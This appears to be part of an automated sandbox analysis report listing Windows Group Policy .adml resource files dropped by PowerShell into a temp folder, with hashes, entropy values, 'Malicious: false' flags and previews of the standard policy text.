Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="UseOEMBackground">Always use custom logon background</string> .. <string id="UseOEMBackground_Help">This policy setting ignores Windows Logon Background.....This policy setting may be used to make Windows give preference to a custom logon background. ....If you enable this policy setting, the logon screen always attempts to load a custom background instead of the Windows-branded logon background. ....If you disable or do not configure this policy setting, Windows uses the default Windows logon background or cu

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MMC.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (374), with CRLF line terminators
Category:	dropped
Size (bytes):	4806
Entropy (8bit):	4.701920186548574
Encrypted:	false
SSDEEP:	96:LeD5pmQsFOr1sf4h/p1IXr5KQ6A735FlZ+HQsvYxyOsFV:EsFOriforIkQ6A7zlZ+HvvYxyOsn
MD5:	E7286B16AB9A79A941457D0E5F7AC2D9
SHA1:	7E41AA47B450F332DAC6A9AEE8B1021397ACC90F
SHA-256:	5CE95BDC6780550FAD262390A824CDB07D6B426683FE1E8AFA533D6A47A8E79B
SHA-512:	5BCDA870EF7DCEDA95D4C44B8EDB9DB08BB937D5D5FB07601DE231BA21C7B7902A8D74F6A33352132C0F5D2E84C47E9AE855290444B76EDD6A59792BD8BD67C2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MMC">Microsoft Management Console</string>.. <string id="MMC_ActiveXControl">ActiveX Control</string>.. <string id="MMC_ExtendView">Extended View (Web View)</string>.. <string id="MMC_ExtensionSnapins">Extension snap-ins</string>.. <string id="MMC_LinkToWeb">Link to Web Address</string>.. <string id="MMC_RESTRICT">Restricted/Permitted snap-ins</string>.. <string id="MMC_Restrict_Author">Restrict the user from entering author mode</string>.. <string id="MMC_restrict_Author_Explain"

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MMCSnapIns2.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (332), with CRLF line terminators
Category:	dropped
Size (bytes):	3258
Entropy (8bit):	4.817177716053599
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKqgONUGM7MG1T7yvG/sFO3hsFaSb7AqIAF9dFpgJcJTU8OiFQBeQs:LeD5pmnGCpZ7r/sFgsFaK735Sf/cMeFV
MD5:	181EDEAB7F0FA1FD7DA1D157121386D1
SHA1:	B4F9B4B91FD9D8EFA327E20516DE975892A706F1
SHA-256:	258D9502CBD3B2B6E342D1B705A17A6537865D066BEC2227BD4BD5A4D3E411F9
SHA-512:	99FF5FD5A9E50F1AE843845CC54E616F73DE24270261496087E902AB5AAA286ED9C9A19DCB230857774834DF20AAA2056D052D905F12ACBB338C845BFE8D1B9D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MMC_StorageManagerForSANSSnapIn">Storage Manager for SANs</string>.. <string id="MMC_StorageManagerForSANSSnapInExtension">Storage Manager for SANS Extension</string>.. <string id="MMC_FileServerResourceManagerSnapIn">File Server Resource Manager</string>.. <string id="MMC_FileServerResourceManagerSnapInExtension">File Server Resource Manager Extension</string>.. <string id="MMC_DiskManagementSnapInExtension">Disk Management Extension</string>.. <string id="MMC_DFSSnapIn">DFS Management</st

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MMCSnapins.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	10156
Entropy (8bit):	4.902850417863983
Encrypted:	false
SSDEEP:	192:Eha8zqIFaazk71nt3xuH+6gqb7UFfFaK7Oz/cExtqRACAmn:u2IFWke6gqHBcR9r
MD5:	A30AB3FB1BA97BFD3AD477AD18D0BE28
SHA1:	9175E307ED491957EEB303BC6BEB8F6ABB2EB0FB
SHA-256:	48663270C2B2ED9475692772CBF5B12B635D75FA293E3059F8B81D8B4D02382E
SHA-512:	13DD57C61196B2DAC93F8C4FF602ACEA6644B4DEA08FF96B2770C50EC98CE73A9F9C3CEA3BF29ED7A3E5089474F27653BFBBDFC515FB378965D107DDA252BF0D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MMC_ActiveDirDomTrusts">Active Directory Domains and Trusts</string>.. <string id="MMC_ActiveDirSitesServices">Active Directory Sites and Services</string>.. <string id="MMC_ActiveDirUsersComp">Active Directory Users and Computers</string>.. <string id="MMC_ADMComputers">Administrative Templates (Computers)</string>.. <string id="MMC_ADMUsers">Administrative Templates (Users)</string>.. <string id="MMC_ADSI">ADSI Edit</string>.. <string id="MMC_AppleTalkRouting">AppleTalk Routing</stri

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MSDT.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4822
Entropy (8bit):	4.7368864262977635
Encrypted:	false
SSDEEP:	96:LeD5pmtzIVVV78jVqaqGCs1HVVpLg2uw+F8c6mqSaM17CsQe2ce9e2bgzKDB2QSV:EL8jVqaTpCwSfqSaQpQe2c8e2SuS3l
MD5:	CD6F4B94C65A6A5F650EEDCC4108C1F9
SHA1:	BB95196861D768DE33C1A574CD3C3B05DE281B8B
SHA-256:	91692970671C4A0AC5A872A787F7C8D5B7C69BC36503D2815408443EA7B820DB
SHA-512:	41E53997E7FE19552B50DAE9B3E9DDC61289B69DFBD05A837A05E023D67B103DE17BC794CA897BB69DB59CBA6564471C26AD9B0C31811065E98C2270B1D67D5E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Microsoft Support Diagnostic Tool</string>.. <string id="WdiScenarioExecutionPolicy">Microsoft Support Diagnostic Tool: Configure execution level</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting determines the execution level for Microsoft Support Diagnostic Tool.....Microsoft Support Diagnostic Tool (MSDT) gathers diagnostic data for analysis by support professionals.....If you enable this policy setting, administrators can use MSDT to collect and send di

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MSI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (499), with CRLF line terminators
Category:	dropped
Size (bytes):	30569
Entropy (8bit):	4.629506484487412
Encrypted:	false
SSDEEP:	384:S3fWPIaG5EBoj8lK1I8DBkpkBLNPn4WCMIb53woYlHMwIxTQMNBN2wJKPCoz1Nqb:7wI8DhTSb53w/4DRb
MD5:	281E7FFCCBCB02FC616FEBF6F291B411
SHA1:	EB918DDA656626758F3B4B993C12CB04BA7F18E3
SHA-256:	BEA0490CA9E830B84869A273D0011683A54FA4E92E0EFF63B9F123CFFFC40C60
SHA-512:	6C932E4F13F9FE7C0C38A92C85808138C8ACB0CA925A8B5B149CA3C0F081B90112C52A165E37DEB5A400E300386108A9CC8D8F75D68D697798E34B40325E270A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowLockdownBrowse">Allow users to browse for source while elevated</string>.. <string id="AllowLockdownBrowse_Help">This policy setting allows users to search for installation files during privileged installations.....If you enable this policy setting, the Browse button in the "Use feature from" dialog box is enabled. As a result, users can search for installation files even when the installation program is running with elevated system privileges.....Because the installation is running with elevated system p

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MediaCenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	4.94325326862628
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yDIuQF6FVMFV:cgeD5x8gm8fKbyqFV
MD5:	7EFC78CEE6A256186F169D12466F667D
SHA1:	C190C0FAB77A5095D595ED65CF1E0ADF81A9AE7E
SHA-256:	DD91079C05795BD2BBA3C3F0A7167A5B8760A540C2E3000F379D4058D2E67258
SHA-512:	B5A90208C5A69F90DB1F7C90B161E066FFDFF2761BECC314D1611709EFE31848D250A45EFFBF60356E71C00370A99252CE8D4ECB804683575528F5E6FCE7432A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MediaCenter">Windows Media Center</string>.. <string id="MediaCenter_Disable">Do not allow Windows Media Center to run</string>.. <string id="MediaCenter_Disable_Help">This policy setting allows or prevents Windows Media Center to run.....Windows Media Center is a digital media player and video recorder that allows users to organize and play music and videos, and to view and record live television.....If you enable this policy setting, Windows Media Center will not run.....If you disable or do not configu

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MobilePCMobilityCenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.9534177597350935
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yLwjaMb3zjS/RmN3FooRFV:cgeD5x8gm8fKkqaM3a/RmNqAFV
MD5:	F4ED8285AC3F6D33796ECEB5A7D654D7
SHA1:	8856483D9DE028B8ADED5807E7F786E61BA9A969
SHA-256:	94D9C7AAF148F31B6129B5567F963832427DE828DCD7E0B31F1BCBDBD5DBED3C
SHA-512:	6B7A56459CCC4DDE7A3EE144334295653B394D5D6499E98FC0184244D6FE4B3BE38324492378EA88C4851133678287CD4C5381120F83488AE639279CBFC8A328
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MobilityCenterCat">Windows Mobility Center</string>.. <string id="MobilityCenterEnable">Turn off Windows Mobility Center</string>.. <string id="MobilityCenterEnableExplain">This policy setting turns off Windows Mobility Center.....If you enable this policy setting, the user is unable to invoke Windows Mobility Center. The Windows Mobility Center UI is removed from all shell entry points and the .exe file does not launch it.....If you disable this policy setting, the user is able to invoke Windows Mobility

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\MobilePCPresentationSettings.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (366), with CRLF line terminators
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	4.847847941024891
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ycjpb3BnEndr90fFV:cgeD5x8gm8fKrV3Bn2RSfFV
MD5:	3D1BC388407E64D128728E5259ADAC99
SHA1:	AAF0BD72A00F01936A1B8CFF0DD9F43B4A5DEB06
SHA-256:	EC7D1B396B99416F267F99BA8D7A81199284C01CAE1A19081F2670233FA02F20
SHA-512:	68A27081AA8ABEAECED75720102C4712FCBFB0BF77918A8C47C62BA0EC4FA0F369DD605A91AF0B671DC079053F0A1328B6F5DBA9A0623E8B03095FCB65F6D83C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PresentationSettingsCat">Presentation Settings</string>.. <string id="PresentationSettingsEnable">Turn off Windows presentation settings</string>.. <string id="PresentationSettingsEnableExplain">This policy setting turns off Windows presentation settings.....If you enable this policy setting, Windows presentation settings cannot be invoked.....If you disable this policy setting, Windows presentation settings can be invoked. The presentation settings icon will be displayed in the notification area. This wi

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Msi-FileRecovery.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	3082
Entropy (8bit):	4.810214089047188
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKyxgteEKvv4NYlVOdX71JDerq5x0BsYu9tP4XEgV:LeD5pmHWwua5PD2qjCsNtPeV
MD5:	DA778ED24DE53EF1BAF75408032E34A8
SHA1:	20B3E050E4094CDEA1765EFA73AE92DADF4D3F18
SHA-256:	1FA3057260F8642ADAF7C30D68CBDF5703BCBE983ACBEB0335FD31347D8CE4CB
SHA-512:	393A383F1CA87036A1893150514276B1277816CDAAC1704891D0345C1464D53B22C0ACD752EAF4B130EA8E3C40C3B4AC86FDADBBCD2F792414E79575C746BD82
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">MSI Corrupted File Recovery</string>.. <string id="WdiScenarioExecutionPolicy">Configure MSI Corrupted File Recovery behavior</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting allows you to configure the recovery behavior for corrupted MSI files to one of three states:....Prompt for Resolution: Detection, troubleshooting, and recovery of corrupted MSI applications will be turned on. Windows will prompt the user with a dialog box when application reinstallat

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\NAPXPQec.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.0468646750436905
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ylySwH3ZhAEonuYNuEZsFV:cgeD5x8gm8fKiSYdmFV
MD5:	A4208900FDE8B3665E5C81E299CA7BFF
SHA1:	D15B972870FC4A1FBFF2E709DBC6AB031E4A46E6
SHA-256:	156AC533DE885DE2086D1506713B46BFBCFDEB20FCD783B16C3CD4C143868549
SHA-512:	A40CFC29E6C50B0CE4D98A1F9FFF71DBB17C8A33C7018BD9C4BD80BC31257D279F75057C3EEE1AC47F5A40FC16493D188CEFFAC7B0F5C70D16E22B1A492AC97D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NAP_Category">Network Access Protection</string>.. <string id="NAP_XP_1x_QEC">Allow the Network Access Protection client to support the 802.1x Enforcement Client component</string>.. <string id="NAP_XP_1x_Help">This policy setting allows the Network Access Protection (NAP) client to support the Windows XP version of the 802.1x Enforcement Client component.....If you enable this policy setting, NAP allows the Windows XP version of the 802.1x Wireless Enforcement Client to participate. ....If you disa

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\NCSI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (417), with CRLF line terminators
Category:	dropped
Size (bytes):	5609
Entropy (8bit):	4.807720215972321
Encrypted:	false
SSDEEP:	96:oD5pmB6SbbXVjG7/loPSNYOag8hW3QDFzdQFXukdFeYoZTe2FRA15VrpbWFo9FV:+jErVjGmighWmAd8KoPe
MD5:	C62CBB79E2AF2E3CC1FD69206D0C9716
SHA1:	3C18FFFC927A30CCD66B2D23D553BCA29642497D
SHA-256:	5E583582C0A4A933C3A0E4A4270E034DE6B8DD23B2676A1ECAD986DB71F28E7D
SHA-512:	B65C8F3EF4A1DBA11E8E915F8E31A874E83042923F98941CD8441066C103ABBB61A720BF24729CE17DEDC1916873BB86E7C5E1830D4AA96982EE0592E3830F2D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Network Connectivity Status Indicator Group Policy Settings</displayName>.. <description>Network Connectivity Status Indicator Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="NCSI_Category">Network Connectivity Status Indicator</string>.. <string id="NCSI_CorpWebProbeUrl">Specify corporate Website probe URL</string>.. <string id="NCSI_CorpWebProbeUrl_Help">This policy setting enables you to specify the URL of the corporate website, against which an active probe is performed.</string>.. <string id="NCSI_CorpDnsProbeHost">Specify corporate DNS probe host name</string>.. <string id="NCSI_CorpDnsPro

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Netlogon.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (1008), with CRLF line terminators
Category:	dropped
Size (bytes):	46428
Entropy (8bit):	4.777664679838725
Encrypted:	false
SSDEEP:	768:MwjkYrp+MHlkfrwiTrotseXkz4l/hHui7n421:/wYrcMHlkfrwiTrot3Xk8l9uM40
MD5:	B6CB2AF44B11487F92D14A3E9B7B4F70
SHA1:	DCFC1F715BD49D62021568F76D8CD3BBB85D01CF
SHA-256:	14B401FBE6F5FD279430D383196F16AC0D93EE665D0225C7F2C4C3DD56D7B847
SHA-512:	7373B5EFF0A8574961C7373CEF567071852FB57663978ED9E1A8BB2E9B6E4AB1390260204B518D40621AEC4B5F14A18793BE7D4550ADABBA0BDA11FFA90EEA6A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Netlogon">Net Logon</string>.. <string id="Netlogon_AllowSingleLabelDnsDomain">Use DNS name resolution with a single-label domain name instead of NetBIOS name resolution to locate the DC</string>.. <string id="Netlogon_AllowSingleLabelDnsDomain_Help">This policy setting specifies whether the computers to which this setting is applied attempt DNS name resolution of a single-label domain names.....By default, the behavior specified in the AllowDnsSuffixSearch is used. If the AllowDnsSuffixSearch policy is d

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\NetworkConnections.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1486), with CRLF line terminators
Category:	dropped
Size (bytes):	41991
Entropy (8bit):	4.576451646468249
Encrypted:	false
SSDEEP:	768:0dx8EooEviP1PjM6PtCldxD9xI2FzOkRZWx+LmCYvecgy3W7dlDelurmYEg4g+z/:iFOI
MD5:	0F0684FA5CF664EAF158690457E68D92
SHA1:	DFA272AD045597933D1144F01921EABA0B6BC4A4
SHA-256:	E86F5AD0D0A55ED34D90A2EE7222564656C684FCA48F9CE2C0363266C7C10ECE
SHA-512:	ED1BEF62FA7CECD3E618F31D951259704A13910E4AD3276C396003AF543EE6C6FBC86E4573366D6103D997B1C2DE98E879AE08BAB5676BE2F12579CBEDDD7D10
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NC_AddRemoveComponents">Prohibit adding and removing components for a LAN or remote access connection</string>.. <string id="NC_AddRemoveComponents_Help">Determines whether administrators can add and remove network components for a LAN or remote access connection. This setting has no effect on nonadministrators.....If you enable this setting (and enable the "Enable Network Connections settings for Administrators" setting), the Install and Uninstall buttons for components of connections are disabled, and admini

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\NetworkIsolation.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	exported SGML document, ASCII text, with very long lines (461), with CRLF line terminators
Category:	dropped
Size (bytes):	6746
Entropy (8bit):	4.9079819692940125
Encrypted:	false
SSDEEP:	96:V+D5pmzqJhUf3fJyoZ+EsiZoTCdhY5+J6M6xpBGbvH4J5w4V:qdU/hyoXZoSrJ6nxpkbvHKN
MD5:	39E7220D62B6A3DBB2C126FBB57233BA
SHA1:	FA2CA706CB425FF910215D0E0D84DC05FEC673B6
SHA-256:	D7FDCFBCAD3F6A8CAE618320A16E408B4EF7A2830EBE54AC141F8CD37C4B26D2
SHA-512:	843380F52E434137DE92DF229B2C5103223EB4A22C6A52FC679B63A943938BD38B5AA5167F4DDB6620E921CEA1315B1EA84E1847AD83C780419FC1470E93E9BE
Malicious:	false
Preview:	(c) 2011 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Network Isolation </displayName>.. <description>Configures Network Isolation Options for apps </description>.. <resources>.. <stringTable>.. .<string id="WF_Isolation">Network Isolation</string>........ Define server addresses that proxy to the Internet -->......<string id="WF_NetIsolation_Domain_Proxies">Internet proxy servers for apps</string> ...<string id="WF_NetIsolation_Domain_Proxies_Help"> This setting does not apply to desktop apps......A semicolon-separated list of Internet proxy server IP addresses. These addresses are categorized as Internet by Windows Network Isolation and are accessible to apps that have the Internet Client or Internet Client/Server capabilities....

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\NetworkProjection.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2267
Entropy (8bit):	4.838388154516794
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKQqmmBpOVxwxpBewWk7EQg+61kg+6xrjMWK/WV:LeD5pmEqmmp8xwLBzWkiz/zZjMWK/WV
MD5:	1AEA64EE82CCCF20BE4E7178E0D9C569
SHA1:	674AC6F5BD545EB75E05FED6CDD384C4440C2B29
SHA-256:	615E09EEC96E2E99550CA7014AD5E7249C031E1E19B2241032C1BE983622729D
SHA-512:	0FDE894C202D495A8A674E637B6E5B1BE25333C1D4BFECA1CA3503A19E43ECB847131FF32B81145822C87513C308C07B9CBB8A519A62999FA992CB28C3348210
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableNetworkProjector">Turn off Connect to a Network Projector</string>.. <string id="DisableNetworkProjectorExplain">This policy setting disables the Connect to a Network Projector wizard so that users cannot connect to a network projector. ....If you enable this policy setting, users cannot use the Connect to a Network Projector Wizard to connect to a projector. ....If you disable or do not configure this policy setting, users can run the Connect to a Network Projector Wizard to connect to a projector.</st

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\OfflineFiles.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (634), with CRLF line terminators
Category:	dropped
Size (bytes):	50909
Entropy (8bit):	4.7108422069629725
Encrypted:	false
SSDEEP:	1536:c5kq1yeql7iURcwKILdZoJ7TCFRFzMOXIo:ZekZMOD
MD5:	845935D73456E658B4DD9CB27224CBF7
SHA1:	7336E494495EB05622F3791BC19E46499B3B60DE
SHA-256:	169924EB41BD644647F5F4710438C757F1C3BEF0196D4D09CBF9B52D05D17A47
SHA-512:	9F6BDF080314A23D1A82321CB3C8171130695E82205F32E895A7C1EEDAE59571E2C22E09171FA9377BC429A0E8118E44E151754ED2FF1A63B112494F54A9FF02
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Cat_OfflineFiles">Offline Files</string>.. <string id="Lbl_Fail">Never go offline</string>.. <string id="Lbl_FullSync">Full</string>.. <string id="Lbl_QuickSync">Quick</string>.. <string id="Lbl_WorkOffline">Work offline</string>.. <string id="Pol_AlwaysPinSubFolders">Subfolders always available offline</string>.. <string id="Pol_AlwaysPinSubFolders_Help">Makes subfolders available offline whenever their parent folder is made available offline.....This setting automatically extends the

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\P2P-pnrp.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (447), with CRLF line terminators
Category:	dropped
Size (bytes):	15965
Entropy (8bit):	4.663039279812552
Encrypted:	false
SSDEEP:	192:EVvPk2QsF4WSKheDnylZ+QsF4W+KheDnyxko4QsF4WnKheDnyGS8OzsO4WdmI:OLvhwTjhwK4khwQ8wr
MD5:	4CE12CD17365AE6E6C922AE0C3D70110
SHA1:	328E59731F170FD42BA614E5FD6AC09AAD91C8D5
SHA-256:	D262B118B555E83840A9AC077963B0E50F589C09950F77EB5865D25776D1A78B
SHA-512:	41B5A3AF2D00993E50B4DA53132DFF75F07B549405C88589FB96AA85E074C418CA35931FA1B674EF7129B3495FABE404EF4A74F4C20A48BDE6F3E7A7408583A6
Malicious:	false
